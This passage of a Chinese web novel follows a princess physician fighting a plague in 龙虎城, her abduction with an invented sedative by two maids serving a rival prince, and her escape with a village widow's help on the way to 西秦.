可说着说着,顿了顿,只见其虽遮着面巾,却依旧突显其精致的轮廓上微微蹙起眉来,遂露出一丝忧郁,道:“然如今,自从西北大战结束后,世人皆知灵空三国关系已然到了极其微妙的局面,表面上看起来还算一团和气,实际上却是各自背地里做着各自的紧张盘算。陆某亦深知公主甘愿为国为民鞠躬尽瘁,可公主万一若是在此次的西秦之行有个什么闪失,那便是所有龙虎城臣民拖累了公主,是我龙虎城的罪过。到时候,龙虎城又该如何向整个东宁国的子民们交待呢?” 似是颇为担心地想都不敢继续往下想去,顿了顿,许是亦有所犹豫,可最终却依然还是咬了咬牙在心里暗暗下定了决心。 再次抱起拳来恭敬又严肃坚定无比,似是眼神中还透着一丝莫名的狠劲道:“假若……即使到了最后……真的救不了龙虎城的子民,陆某亦会自行解决这些染了病的城民。纵使如此,亦是万万不能牺牲了公主,东宁不能没有公主。” 衣上云一听,当即朝其厉声呵斥道:“荒唐!我说你个陆,陆,陆……” 那位少城主自我介绍道:“陆远。” 衣上云狠狠瞪了他一眼,怒不可遏地说道:“对,陆远。亏你还身为一城之少主,你可听说过‘民者,国之本也’,‘百姓足而后国富,百姓逸而后国安,凡为治以安民为本,民安则国安,国以民为本,民以食为天,此有国家者所以厚民生而重民命也。’在民命面前,你怎能置自己千千万万的城民的生死于不顾?竟妄想还用到了‘解决’?你欲如何解决他们,将他们一个个生生都给活埋了么?是谁给你的胆子和权利来剥夺人命的?” 陆远的心里若是真的没有民命,此刻他又岂会置身于此呢? 闻此,终是触及到陆远心底那深埋于最后的一丝不忍与柔软,他顿时惊看向她的眼睛似是都如傻了眼一般:“民命……我……” 愣了片刻后,又义正严词地道:“民命当然重要。可公主是君亦是民,难道公主的命就不是命么?在龙虎城疫区多日以来,陆某亲眼目睹了公主医术高超,仁心仁术,才智过人,做到了昔日里许多君主都无法做到的真正的爱民如子,即使天塌了下来,始终与民同在。公主抗疫救民救国的勇气与决心,无不深深打动着疫区里的每个人。” 想起往日里亲眼所见的从衣上云弱小的身躯,竟却发挥出如此惊人的力量来,陆远的心中便是对其钦佩不已。 那一次,明明已经背过气去了的一名患者,众医者皆都判定他已撒手人寰,唯只见她在其胸口处用力地捶打了不知多久,那病患竟就真的被她从鬼门关前生生给拉了回来。 曾经多少个日日夜夜,即使身子已疲惫不堪,最后在门口瘫坐下来随便靠在一处,便就算歇着了。 迷迷糊糊之间,一见病患被送来,便第一个冲上去亲自为其检查,生怕有人因一时疏忽便被传染。直到查明病情,方才交代给旁人该如何处理,需要注意些什么? 就这样,她一人,将所有危险俱都挡了下来,始终坚守着自己的阵地尽心尽责,全力救治不放弃每一个病患。 …… 过去每个感动的瞬间,一切的一切,使陆远此时亦是好不容易才下定的决定更是加重了几分。 只见他掷地有声,定定地说道:“然若今日仅为了龙虎城而牺牲了公主,岂不就等于失掉了整个东宁国。如果以我龙虎城全城百姓的性命,可以换取一个能够带领我东宁发展壮大的贤明的君主之安危,陆某愿意,龙虎城的毁灭……值得。” 话音刚落,一时间里,屋内众人皆都被其举动和言语愣住,片刻后又再次纷纷议论开来。 “少城主所说没错,灵空三国不睦已久,加之老国君刚薨逝不久,朝堂动荡,正临多事之秋。若论德,智,权,谋,胆来说,公主心思缜密,思虑周全,堪当大任!” “老国君英明,没有将大位传错人,东宁国着实不能没有了公主啊!” “少城主如此大义凌然,顾全大局,真是令人佩服,为今之计,要是再拖下去,怕是很快便会疫情失控,到时候东宁将要面临的,会是一场空前绝后,毁灭性的扩散……” “没有麻黄,即使大罗神仙转世,华佗犹在,亦是对此束手无策啊!” “看来,怕是只有放弃龙虎城了。” “嗯,看来只能弃城了……” …… 见众人一时间里俱都卸了气,衣上云的心里亦是顿时间慌了,她扫了一遍众人,又看了看对面一直站着不说话,只目不转睛等待着她改变心意的易三少。 最后对其摇了摇头,示意自己绝不会应了他心中所想。 后又将目光投向了陆远的身上,大声否定其说道:“少城主所言差矣!如此一来,这么多人在这里无数个日日夜夜的坚守与付出,不就都白费了吗?况且,本公主绝不允许龙虎城那些因为这场大疫而死去的子民们白白牺牲。” 此话一出,屋内顿时鸦雀无声,恢复了平静。 衣上云单手附后,隐忍着痛楚肃声说道:“在场的各位都是亲眼所见,他们曾经一个个都是那么努力地想要活着,为家人,为所爱的人活着,虽然总是天不如人愿,可他们却是我东宁国永远的骄傲。” 回忆起那些记忆,总是叫人于心不忍,眼里忽有泪花闪现,顿了顿,她微微抬了抬头,将泪水倒了回去,接着继续说:“正是因为他们的死,才让我们总结到了更多的经验,有了救治其他尚还有一线生机的病患的最大机会。且不说如今已有了良方,就算没有,哪怕就算最后走不出龙虎城……如今朝中亦有三皇子处理国事,已然仅仅有条,死又何惧?本公主,亦会继续研究下去,救不了龙虎城,本公主绝不认输!” 闻此,众人皆都震惊极了,朝其纷纷俯首跪拜,异口同声道:“公主殿下佑我东宁,公主千岁,千岁,千千岁……” 看着此时唯独易三少一人单身站立着,衣上云与其四目相对,却是无比坚定的眼神里似是在警告他,妄想动摇自己的决心。 稍时,衣上云渐渐收回了视线,对众人说道:“好了,都起来吧!” 兀自又从袖兜里掏出自己的宫牌,上前两步将其递到陆远的面前,说道:本公主的心意,你们谁劝都没用。本公主心意已决,其余药草就有劳各位先行俱都准备齐全了,不足的部分只管拿着本公主的牌子到宫里问三皇兄要,待本公主将麻黄带回之日,便是整个龙虎城大疫终结,龙虎城城门大开,百姓们重见天日,回家团圆之时。” 一时间,四周顿时此起彼伏响起了一片连绵不断的掌声来,大家已然再一次鼓起了勇气来与病魔作斗争。 唯独只有陆远怔怔盯视着双手正托起着的这面玉色凤凰腰牌似是傻了眼一般,觉得它特别之重,何止千斤万担?! 谁说不是呢? 此时,在这面玉色凤凰腰牌上所承载着的,是整个龙虎城,乃至整个东宁的民命。还有,眼前这个固执的不能再固执的公主的性命,它怎能不重呢! 一念至此,他重重地跪身下去朝其谢恩,一字一顿,信誓旦旦地道:“龙虎城,少城主,陆远,谢,公主,不弃之恩,定当,不辱使命!” 殊不知,其实在他的心里,刚到寺庙中,便早就已经悄悄喜欢上了那个在病患之间穿梭忙碌着的女子了。 可这份心思,他又怎会不知,这一世,亦只能深深被埋藏起来。 衣上云伸出双手将他扶起,对其意味深长又信心满满地说:“龙虎城能有你这样的少城主实属万幸,想此次必定能顺利度过难关。不经历风雨,又怎会见到彩虹。听闻老城主亦是久病缠身,时日已无多,左右本公主现在所经历的一切,总有一日,你都会深有体会。其实,你我都一样!都要学着自己成长,去担当自己理应该担当的一切!本公主,相信你,一定会比本公主做的更好!” 陆远心中依旧担心不已,说道:“可那秦王……” 一提到秦王轩辕翰来,衣上云心中依旧还是顿了一下,尔后很快又深吸了口气,挑了挑眉,嘴角微微扬起一抹弧度来说道:“放心,秦王,他不会将本公主怎么样的?” 就在陆远正看着其眼睛,对其所说半信半疑时,一旁的易三少又开了口…… 第四百九十八章:女子如她,谁不倾心? 一提到秦王轩辕翰来,衣上云心中依旧还是顿了一下,尔后很快又深吸了口气,挑了挑眉,嘴角微微扬起一抹弧度来说道:“放心,秦王,他不会将本公主怎么样的?” 就在陆远正看着其眼睛,对其所说半信半疑时,一旁的易三少又开了口:“不如,我命人将南安国的所有麻黄亦都全数加急调送到龙虎城来,丫头你就不要再去找那秦王轩辕翰了,可好?永远都不要再去见他!” 闻声,衣上云顿转移视线怔怔看着他,对其满脸质疑地连连问道:“用你南安国的麻黄?” “你们的麻黄便不是来自于西秦秦王的封地?” “南安国的红土地上难道亦能自产麻黄,存货充实?” “还是……太子殿下将南安国的麻黄都给了龙虎城,南安国的子民平日里便皆都不用这味用途甚广的麻黄了呢?” 见他沉默了下来,衣上云又低低地叹息道:“况且,杯水车薪,又有什么用?” 事到如今,易三少显然已经关心则乱,彻底失去了理智,只道:“我……我已经管不了那么许多了,只要能阻止你不去见那秦王轩辕翰,让我做什么都可以。” 见此,衣上云对其颇为不成熟的想法无奈地摇了摇头,最后交待在场众人:“好了,一切就都依照我们方才的决定分头行事。事态紧急,本公主这便即刻启程前往西秦,这里的事,便就都交给各位了。” “丫头……” “公主……” 见衣上云已然下定了决心迈步离开,众人皆依依不舍地朝其背影齐声呼喊道,似是还想再对其说些什么? 闻声,衣上云刚刚抬起欲要迈出门槛去的一只脚在半空中忽地顿住。 定了定,并没有回头,只复又叮嘱了一句:“对了,病患每次服完药后再加服米汤半碗,舌干津液亏虚者可多服至一碗,切记!” 说完,便面带着微微笑容,大步流星地走了出去。 回到后院自己的屋里,衣上云便一刻都不曾停歇地开始收拾起行囊来,准备再次出发。 “咚咚咚” 忽然,门外响起一阵急促的叩门声来。 衣上云顿停下手里的动作,心下里的第一反应便是来人一定是还想来阻止她只身前往西秦的易三少,于是一边走过去开门,一边极不耐烦地说着话。 “三少,我知道你所做的一切都是为了我好,不想我再面对殿下,被殿下为难。可你若真的懂我,便就知道,我所决定的事情,是没有人能改变的。如今龙虎城的疫情表面上看似发生在龙虎城内,可若再不治愈这些病患,怕是整片灵空大陆很快都会……” 话未说完,两手拉开门一看,只见门外站着的人竟不是易三少。 而是两张即使透过面巾,却依旧看似曾相识的面孔。 可一时半会儿又实在记不起来在哪里见过,于是她轻拍了拍自己的脑袋,愣愣地问:“你们是什么人……” 只闻来人刚对其说了一声:“衣姑娘,好久不见。” 之后,衣上云便就莫名其妙地顺着门板一路下滑倒在了地上,最后彻底失去了知觉。 就在衣上云刚刚被这俩人驾着离开,后脚易三少便疾步追至到后院里来。 顿足停了会儿,理了理自己纷乱的情绪。 见房门开着,易三少便一边继续往门口走,一边气呼呼地道:“丫头,到底什么时候你才能改一改你这个固执的脾气?你究竟要怎样才肯接受我的提议,不去西秦找那秦王轩辕翰。总归我们还是有其他办法可想的吧?且不说,这前往西秦的路,跋山涉水,辛苦异常。如今你又有着身子,这万一路上要是有个什么闪失,那可该如何是好?” 话音刚落,跨过门槛进门一看见那早已是空无一人的屋内,仅仅案几上只留着一敞开着显然被衣上云自己收拾到一半的行李包袱。 易三少瞬间只觉一阵极不好的预感涌上心头,来不急仔细思索,遂忙退身出来扬声在院内其他各个房间里疾步仔细搜寻叫道:“丫头,你在哪儿?你在哪儿?丫头,丫头……” 然直至很快山上的所有人皆都得知衣上云失踪了的消息后,寻遍了整座寺庙,山里的角角落落,直到天黑,却依旧寻不见衣上云的丝毫踪迹。 “丫头,你到底在哪里?” 漆黑的夜里,易三少仰天发出一阵无奈极了的撕心裂肺之声音!那声音似是响遍了整座山林…… 霓裳片片晚妆新, 束素亭亭玉殿春。 已向丹霞生浅晕, 故将清露作芳尘。 数日之后,龙虎城里满城的玉兰花终于悄悄地迟迟开放了。 在易三少的帮助下,疫区里的一切依旧和衣上云在的时候一样,各种事物俱都井井有条地继续着。 帮陆远打理好寺庙里的许多事情,衣上云亦一直都没有再回来过。 于是,易三少便准备启程离开。 片片初开的海棠和桃花上,迎着枝头的粉色,不觉间已是红肥绿瘦满枝头。 繁花于光影下熠熠摇弋,错落有致,恣意盛放,美丽典雅,清香远溢。 柔美花卉、茵茵芳草,勾勒出诗意花园般的迷人景致。 和熙的暖阳洒落在花间,春天的枫林倒映在湖面上耀目生姿,悄悄诉说着春日的悸动。 蝴蝶与蜜蜂相伴,开始在花瓣间欢愉自在,细嗅这屡屡芬芳,为这静止的画面平添了许多生趣。 山里很安静,有大片的坡地上种满了油菜,眼下正是鲜花绽放,金色的油菜花与桃花、李花等相伴,煞是绚烂夺目。 “真的决定要走?” 送行的人,是龙虎城少城主陆远。 易三少眉头深锁着一边走,一边漫无目的的朝四周到处张望着,却并不是在流连于这山间春色,更像是在寻觅着什么? 听到陆远的话,思虑片刻后开口说道:“不知是不是前世早已注定,这辈子她永远在逃,而我,永远在她后面拼命地追,却怎么都追赶不上!” 陆远听之愣了一下,他又岂会不知易三少此刻心里在想着什么? 这些日子以来,易三少虽人在龙虎城,心却早已跑到了九霄云外去。 整日里,除了救治病患,其余的时间就连夜晚亦是在山里如同一缕幽魂般到处游荡,想要寻找衣上云的哪怕是一丁点儿踪迹。 他从来都不知道,喜欢一个人,竟然会真的喜欢到这种忘我的境界,直教自己自叹不如。 深吸了口气,陆远默默地低声说道:“可尽管如此,至少,你比我有勇气,至少她心里是知道的,你喜欢她,永远在等着她,而我……” 闻声,易三少终于渐渐收回了视线来看着他,惊诧地说:“你……你说什么……你不会……你不会也喜欢丫头吧?” 不想陆远竟真的鼓起了勇气,说:“像公主那般聪慧善良又勇敢的女子,世间哪个男子会不喜欢?” 易三少着实惊呆了,可最后却也只默默地收回视线想了想,无奈脸色黯然地叹息说道:“是啊,女子如她,谁不倾心?可惜,在她的心里和眼里,却只有那个西秦秦王……” 易三少说着,将衣袖里藏着的两只手紧紧地握了起来。 而旁边的陆远听到了‘西秦秦王’四个字,心里忽地生出了一个念头,急道:“对了,既然你说那秦王轩辕翰上次能神不知鬼不觉地进入寺庙来找公主,想必,此次定也极有可能是他再次将公主悄悄掳走了也未尝可知呢?” 怎料话音刚落,易三少便开口将其否定道:“他不会!” 陆远顿看着他的侧脸,疑惑地道:“不会?” 易三少解释道:“秦王若是执意想要带走她,绝不会偷偷摸摸,他会光明正大,唯恐天下无人不知的带她走。况且,丫头那晚当着他的面承认腹……” 易三少的话虽未说完,可陆远仔细想想,秦王轩辕翰那般高冷霸道正直又尊贵的身份,的确是不可能在背地里耍什么花招,便又再次陷入了沉思:“那公主,到底是被谁带走的呢?” 多日以来,易三少心中亦是对此百思不得其解。 “这次带走丫头的人显然不是秦王轩辕翰,亦不会是东宁国梅志煊,那带走她的人……莫非是……” 想着想着,他似是忽然想到了什么。 就在这时,俩人亦已经不知不觉地来到了山下,于是再次对陆远交待了一些事情后,俩人便互相抱拳道别。 “保重,后会有期!” “保重,后会有期!” 告别之后,易三少便独自一路向西,坚定地踏上了前往西秦的路。 因为他知道,无论衣上云被谁带走了,她的终点最后一定是西秦。 而陆远看着他匆匆离去的背影,口中喃喃道:“你一定要将她平平安安地带回来!公主,陆某在龙虎城,等着你。” 下山后向西走了没多久,易三少隐隐约约听到南方传来一阵熟悉的声音:“等一等,三少,三少,等等我们……” 第四百九十九章:南安皇宫的来信 下山后向西走了没多久,易三少隐隐约约听到南方传来一阵熟悉的声音:“等一等,三少,三少,等等我们……” 闻声缓缓转身过去,竟见一条蜿蜒曲折的小路上,远远地似是有两个熟悉的身影渐渐现了出来。 遂心里一顿,紧忙亦加快了脚下的步伐转道沿南边的那条小路上赶了上去。 待其过去走近一看,瞬间被眼前的俩人惊呆了:“紫苏,白芷,怎么是你们俩个?” 易三少连连追问道:“你们怎么来这里了?我不是交待你们要好好留在西秦打理百草谷的吗?” 紫苏扶着已然气喘吁吁的白芷,脸色尽是忧郁地说:“三少,宫里来信了!” 说着,便从袖兜里掏出一封密函来交到了易三少的手里。 “宫里来……来信了?” 闻此,易三少愣了一下,心中顿时升起一抹不好的预感来。伸手将密函一接过去便迫不及待地拆开,仔细查看了起来。 他简直不敢相信自己的眼睛,当看完密函的前一页的时候,忽停了下来,看着紫苏的脸说:“父皇他想乘龙虎城大疫之际,对如今群龙无首的东宁国下手?!” 这件事情的发生,他倒也不是没有想过,这也是他之前为何在东宁老国君面前执意要与东宁和亲的目的之一,就是为了避免南安与东宁两国之间日后不可避免的一场战争。 天下之争,自古都是先下手为强,后下手遭殃。 正如西秦已经率先对北烈下手,同时拥有了北烈的力量一样。如果南安国不对东宁下手,日后又如何与强大的西秦抗衡? 可他没想到,一切竟会来的如此之快。 如今当他亲眼看见这封信的时候,他觉得还是很震惊。 紫苏对其认真地点了点头。 易三少心下里默默一想,道:“东宁老国君虽然已薨逝,可如今的永宁公主颇有老国君在世时的风范,且尤为深得民心。龙虎城眼下虽一时因大疫封了城,却已然研制出良方,不日便可解封全城,且东宁国内一切都依旧井井有条,与老国君在时并无两样。若是我们此时对东宁下手,并不见得时机成熟,真能成事!若是一旦获败了的话,那岂不是竹篮打水一场空,搞不好到最后还要赔了夫人又折兵……” 然紫苏却提示说道:“三少请先细看完密信中接下来的内容。” 闻此,易三少方才翻过了首页,继续往下看去。 却是比方才更加瞪大了眼睛朝其惊道:“什么?如此说来,从龙虎城延福寺里将丫头劫走的人……竟是……是你们俩?” 见其已然有些动怒地惊诧不已着,俩名女子即刻“扑通”一声朝其跪了下来。 白芷最是胆小,紧忙朝其俯身趴在地上劝道:“三少恕罪,我们也是被逼无奈,迫不得已才这么做的。国君此次志在必得,如果不出此下策,想必三少一定不会愿意回国的。灵空大陆上一场终极大战即将到来,三少务必要三思啊!” 易三少抬头看看回家的路,又回头看看去往西秦的路,徘徊不定,他怎么都没想到会发生这样的事? 这一切,都来的太快了! 一旁的紫苏似是心里有所不甘,却又不得不告诉他事实,说:“国君就是得知三少您一直属意于永宁公主,所以才会同意留她一条性命,命我们将她带回国给三少您日后做一侧妃。同时,也算是让东宁国彻底失了这很脊梁。” “侧妃?”听了她的话,易三少嘴角微微上扬,勾出一抹轻蔑极了的弧度来道。 接着,似是像在极力隐忍着什么,继而顿转为极阴冷地一声质问道:“丫头她人呢?你们把她怎么样了?” 白芷见其变了脸色,忙道:“三少放心,我们当时只是用了极少量的一点儿乌迭香将她迷晕后,从延福寺里带了出来……” 话音未落,易三少顿将一双寒光凌厉的剑目朝其射了过去,满脸质疑地道:“乌迭香?谁准你们用乌迭香在她身上的?” 白芷已然被吓得低低垂下了脑袋去,再也不敢开口。 紫苏则尤为不明白他为何如此大惊小怪:“只是极轻微的乌迭香而已,对于人体根本不会有什么危害的,三少你又何必如此动怒?” 易三少似是想都没想,怒不可遏地对其扬声脱口即出呵斥道:“极轻微的量……你可知道,如今丫头她已经怀孕了!” 闻此,紫苏与白芷俩人俱都刷的一下顿看向他的脸惊呆了,异口同声地道:“什么?她……怀孕了?” 易三少咬了咬牙,背对着她们强忍着心头的愤怒,深吸了口气后厉声愤愤不平地说:“是啊,她怀孕了,是那该死的秦王轩辕翰干得好事。这辈子,我都不会饶了他!” 听到这个消息,紫苏的心里顿时又变得五味杂陈起来。 她竟不知,与易三少分开的这些时日里,竟然发生了这么多事。 而凡事总慢人一拍的白芷则看似仔细认真极了地捋着这些信息,自言自语地说道:“东宁国永宁公主竟然怀了西秦秦王的孩子,那我们三少日后还怎么纳这个侧妃呢?可国君信里说,务必一定要将永宁公主一同带回南安去,活要见人,死要……” 话未说完,便见易三少愤愤地兀自朝着俩人来时的方向疾步而去,白芷急忙回过神来问:“三少你要去哪儿?” “带我去见她,若是她,亦或她腹中的孩子有什么闪失,我要你们俩的命!” 闻此,白芷忽地瘫坐在了地上,紫苏则亦一脸惊诧地呆住。 待刚一反应过来,俩人急忙互相搀扶着起身来,朝其追了上去。 黄昏时分。 从龙虎城郊外的一户农家小院里飘出炊烟袅袅,衣上云迷迷糊糊的终于又渐渐睁开眼睛醒了过来。 多日以来,为避免其节外生枝,紫苏都命人悄悄给她的饮食里添加了极微量的乌迭香,所以每日里大半的时间,她都总是昏昏沉沉的睡着。 而她却只当是因为自己怀孕初期比较嗜睡,所以也没有太过于在意。 “吱呀”一声,似是有人从外面将门轻轻推了开来。 衣上云只觉浑身酥软,闻声却依旧还是强撑出一股力量,在床上坐了起来。 这时,进来一位着一身粗布衫的质朴妇人,手里端着一个茶盘,茶盘里摆着一些粗茶淡饭,那妇人进门后笑着与其打招呼:“姑娘你醒啦?” 衣上云笑了笑,朝四周里张望了一下,有些纳闷地问:“请问大嫂,今日里怎么许久都未见到紫苏和白芷俩位姑娘呢,可知她们去了哪里了?不是说好,今日便会启程与我一道回西秦了吗?” 那妇人将茶盘里的饭菜端了出来,摆在屋内的案几上,兀自又走到衣上云的床边一边将她扶着下来,一边道:“早饭过后,只听白芷姑娘说了一句要去见个什么重要的人,大嫂便就也再没见过她俩的人影了。” “难道……她们是回去延福寺与易三少汇合了?这俩个人,到底如此神神秘秘的在做什么?为何要背着易三少偷偷将我带出来至此?”衣上云心下里默默地想着。 漫不经心地坐下后,刚一接过妇人递过来的筷子,提起尚还未动,忽又引起了一阵孕吐来:“呕……” 衣上云忙将手里的筷子放下,伸手将嘴紧紧掩住。 见此,那妇人一脸歉意,大惊失色地道:“姑娘一看便知是富贵人家的千金小姐,平日里定是锦衣玉食惯了。可是不喜食这些饭菜?如此穷乡僻壤,实在是没有什么好拿出来招待姑娘的。” 衣上云紧忙连连摆手,解释说:“不不不,大嫂你莫要多想,并不是这些饭菜的问题?而是我……我……” 见衣上云此时已然吞吞吐吐,难以说出口来,稍一思索,妇人顿时明白了过来,遂惊喜地道:“姑娘你不会是……有喜了吧?” 衣上云挑了挑眉,显然,在这位颇有经验的过来人面前,想必自己再也没法替自己遮掩了。 于是,最后她只能默默地收了声,低头灌下一碗米汤。 岂料那妇人一边帮其再次添了一碗米汤,竟又喋喋不休了起来:“不知是谁家的公子如此好运,能娶得这般貌美如花的姑娘?如此锦上添花,真是羡煞旁人咯!” 闻此,衣上云挂在脸上的笑意竟忽然渐渐淡了去,见其沉默不语了下来,那妇人自觉似是说错了什么,于是终于悄悄地收了声。 这时,衣上云转移话题问道:“对了,请问大嫂,从这里去往西秦,大概还需要多久的路程方才能到啊?” 那妇人听了似是觉得有什么不对,于是再次朝其确认:“姑娘确定你是要去西秦?而不是南安?” 衣上云似是听到了其话里有话,问:“南安?大嫂此言何意?” 妇人解释道:“途经此处的,不是从南安到东宁,便是从东宁到南安国。姑娘若是要去西秦,怕是走岔道了吧?!” 闻此,衣上云大惊:“你说什么?这是去南安国的必经之路?” 第五百章:替他们好好活着 闻此,衣上云大惊:“你说什么?这是去南安国的必经之路?” 对视着妇人的眼睛愣了仅几秒,忽地一反应过来遂一边缓缓放下手中停留在半空中的筷子,一边心里默默地想:“三少,他不正是南安太子么?莫非他……早已经与其俩个侍女密谋串通一气,欲执意将我带至南安国去?” 刹那间,其脑海中满满皆是昔日里那一张张与病魔顽强作斗争痛苦又无奈的面孔现了出来:“那龙虎城的百姓们怎么办?他们还在等着我去西秦为他们带回麻黄救命呢?” 一念至此,她坚定不移地在心里下定决心:“不行,我绝不能跟着三少去南安国,我必须得尽快从西秦带回麻黄来。” 遂即刻附手上去紧握住了那妇人的手,对其投以乞求的眼神苦苦哀求道:“大嫂,我想我一定是被人给骗了。我原本要去的地方乃是西秦,而并非南安国。还望大嫂能够帮忙指路,让我离开,可好?” 闻此,妇人的脸却渐渐变得凝重了起来,遂在其身旁落座下来,犹犹豫豫了半晌后,面露难色着缓缓开口说:“可姑娘,你若是就这样走了,那俩位姑娘回来后,我又该如何向她们俩交待呢?那俩姑娘离开的时候可是千叮咛万嘱咐,让我务必千万一定要把你给看好了啊!” 此刻,衣上云心里已然是焦急万分,她竟不知,自己早已经南辕北辙走错了方向。 显然又几日匆匆而过,也不知延福寺里的病患们如今都怎么样了?实不想再继续耽误下去,遂想了一瞬,解释说道:“想必大嫂你亦应该知道,目前龙虎城里到处疫病肆虐,泛滥成灾,民不聊生。” 妇人一听,皱起眉来道:“此乃龙虎城人人皆知的事,我又岂会不知呢?” 衣上云接着说:“实不相瞒,我乃一名医女,为了使龙虎城解困,本来打算几日前离开延福寺前往西秦国去寻找一味药材回来救治病患的,不料却意外被她二人骗至此处。” “姑娘你……你说你是从延福寺出来的医女?” 妇人将其全身从头到脚重新仔细打量了一番后,敬佩与惊诧之余却又不解地道:“骗?难道姑娘你不曾与那两位姑娘熟识吗?可前几日,我怎么见你们三人感情甚好,似乎很熟悉的样子。” 衣上云听着,眼睛往外喵了一眼,眼看着夕阳西下,时间已经快至黄昏,又是一天将要过去了。 心里一急,着急地再次将双手附上妇人此时正置于案几上的一只手臂,朝其哀求道:“大嫂,此事说来话长,可我是真的没有时间与你在此一一解释。求求你,帮帮我好吗?若是晚了,那整个龙虎城就岌岌可危了啊!” 果然,那妇人终究乃一深明大义之人,在了解了事态紧急之后,思索片刻,说道:“也罢,姑娘既是为了我全龙虎城的百姓安危,那我独自一介寡妇,又有什么好怕的呢?姑娘,你走吧!” “寡……大嫂你……”闻此,衣上云瞬间惊呆了。 多日以来,因为自己总是在屋里昏昏欲睡着,并未注意这个院子里竟然没有男人,亦未曾听闻到有孩子的追逐嬉闹声。 正蹙眉想着,只见那妇人却似习以为常释然地多,竟还似有些风轻云淡地说:“没错,我是个寡妇。一次意外,我家那位,他为了护住我,还有我腹中的孩子,跌落悬崖,死了……” 震惊之外,虽不忍心,可衣上云还是弱弱地问了句:“那还有孩子呢?” 妇人回忆着道:“孩子……随着月份的增长,孩子在我的肚子里亦越来越大,我能清晰地感觉到他的顽皮,甚至隔着肚皮亲眼都能看到他在朝我伸展他的小胳膊小腿,展示给我看。” 脸上洋溢着无尽幸福的笑容说着说着,忽然渐渐淡去了笑容,顿了顿,似是隐忍着巨大的悲痛,继续说:“可后来,我被查出体内存有一颗毒瘤,无论如何,都会威胁到孩子的生存。当时,人人都劝我放弃那个孩子,可我终究不愿认命。是的,我不相信,老天会待我如此不公……可许是天意如此,最后,那孩子,还是没能保住……” 衣上云听了之后,默默地对其道歉说:“大嫂,对不起。” 妇人淡淡一笑,道:“没事,一切都已经过去了,再怎么着,日子不都还得继续往下过不是?当时,失去丈夫,又痛失孩子,我什么都没了,其实当时我也想过要放弃,随夫随子而去。可想想,如此一来,当初他不就白白死了吗?所以,我要活着,不单单是为自己,也是为了他们,我要替他们俩,好好活着。” 终究是痛苦的往事不堪回首,妇人说完,吸了吸鼻子胡乱抹了一把泪水,便起身来帮衣上云整理。 衣上云朝其背影诚恳地谢:“谢谢大嫂!我替全龙虎城的百姓们谢谢你。龙虎城上至少城主与城主,下至平民百姓乃至一个手无缚鸡之力的妇人,俱都如此上下齐心,合力抗疫的精神至此,果然如这座城的城名一般,无论男女,皆如龙似虎一般令人可敬可佩,可歌可叹。相信这场天灾,一定很快便会结束的!” 那妇人反却感激她道:“这次,龙虎城是因为姑娘这般的医者父母心,才能得以重见天日,自是我们应当感谢姑娘您才对。” “况且,姑娘您还有孕在身呢!” 妇人转头,俩人遂四目相对着,眼里皆是对战胜疫病满满的信心,以及暗藏于各自心中彼此心照不宣的默契。 稍时,妇人将已经准备妥当的几件衣裳和干粮,又将自己并不多的一包碎银子小心翼翼地替其一起包好,催促着说:“时间不早了,姑娘既已决定要走便就赶快动身吧,若是她们回来了,那姑娘定是又得被其拖延着,不知何时才能到西秦了?” 衣上云一时半会儿,竟然都不知该对其说些什么? 忽地反应过来,说道:“对,对,对,我差点儿忘了,我应该修书一封,大嫂届时可将其交给那两名女子的主人,想他见了我的书信,便一定不会再为难你了!” 说着,便急步过去奋笔疾书写下了一封书信。 左右不过一个乡野村妇而已,即便是斗大的字也是不识一个的。然妇人却还是假装着很仔细地小心翼翼将其收了起来,好让衣上云放心上路。 直到俩人一起走出了家门,衣上云紧握着妇人的手朝其依依不舍地道别:“大嫂保重,后会有期!” 妇人轻拍了拍衣上云附上来的手,指着脚下一条弯弯曲曲的小路,语重心长地对其说:“沿着这条路一直往前走,走到尽头,看到一条宽敞的大道,往西走便就是通往西秦国的路。若是平时,那里经常会有西秦和东宁互通的商队来来往往经过,可现下因为大疫龙虎城封了城,怕是很难见到有过往的车辆了。” 似是颇为替其担心,妇人说完收回视线转而面对她,扶着衣上云的肩膀说:“接下来,便就要全靠你自己的运气了!走吧!再晚的话,天就真的要黑了!” 见衣上云瘦小的身子,已然独自踏上了征程,妇人用力地朝其挥了挥手,忧心地道:“姑娘,照顾好自己,还有腹中的孩子,一路多加小心啊!” 闻此,衣上云顿足停下,转身朝其重重地点了点头,鼻子一酸,眼睛竟瞬间夺眶而出。 另一岔道上。 紫苏与白芷紧紧跟随着易三少的脚步。 见白芷一直低垂着脑袋不敢说话,紫苏虽然亦是心里生气,却也无奈地只能朝其解释道歉:“三少,对不起,这次都是我的错,是我自作主张,所有事跟白芷一点儿关系都没有。给她用乌迭香,也是我的主意,我只是想减少一些路上不必要的麻烦而已。” “麻烦?丫头她何曾成了麻烦了?”闻此,易三少头也不回,只气不打一处来地道。 紫苏嘟囔着嘴说:“打从在西秦国认识她起,她便明明一直就是三少的麻烦。若不是她,我们三个,或许至今都还在百草谷里过着快乐无忧,逍遥自在的生活呢?” 闻此,易三少忽地顿足停下,紫苏立即止住了步,而垂首不敢抬起头来的白芷却是实实地朝其撞了上去,顿时吃痛的叫了声:“嗷……” 见她笨手笨脚的样子伸手去抚摸被撞的脑门,易三少瞪了她一眼,满脸嫌弃又无奈。 后又对面前俩人呵斥道:“我再警告你们两个一次,以后你们若是再敢伤她半分,我绝不会轻易饶了。到时候,不要怪我翻脸不认人。” 见其这段时间以来,护着衣上云的决心较之前,有过之而无不及,紫苏只能暂时朝其服软:“是,我们记住了。” 白芷亦乖巧地道:“白芷也记住了!” 终于,他似是已经原谅了俩人,兀自转身继续往前走了去…… 第五百零一章:静静的山谷 见易三少似是终于已经原谅了俩人一些,兀自转身继续往前走了去。 紫苏一见,紧忙拉起白芷的手快步跟了上去。 然心中却是一直以来都颇感疑惑,遂忍不住再次开口探问道:“三少,事实上一直到前不久收到宫里的来信,否则我与白芷真的连做梦都没有想到,西秦国一毫不起眼的小门小户里,一个完全不被家主重视的丑……” 话刚开口,顿觉自己的失言,又见前面易三少忽停下了脚步,紫苏忙改口道:“这位衣府嫡女,她竟会是富甲一方的东宁国,遗失多年的嫡公主。想必,三少一定已经知道了这到底是怎么回事吧?” 然未及易三少回答,一旁的白芷却是至今都还难以置信地问:“那个衣大小姐……不,如今,该称作她是东宁国最尊贵无比的永宁公主才是。她……真的有了灵空战神西秦秦王的骨肉吗?” 闻此,易三少终是心里突觉咯噔一下顿足停了一会儿,最后又咬了咬牙,并未转身看她俩人。 紫苏见了,急忙暗地里扯了扯白芷的衣襟,同时朝其瞪了一眼使了个眼色,皱眉低声阻止道:“白芷……” 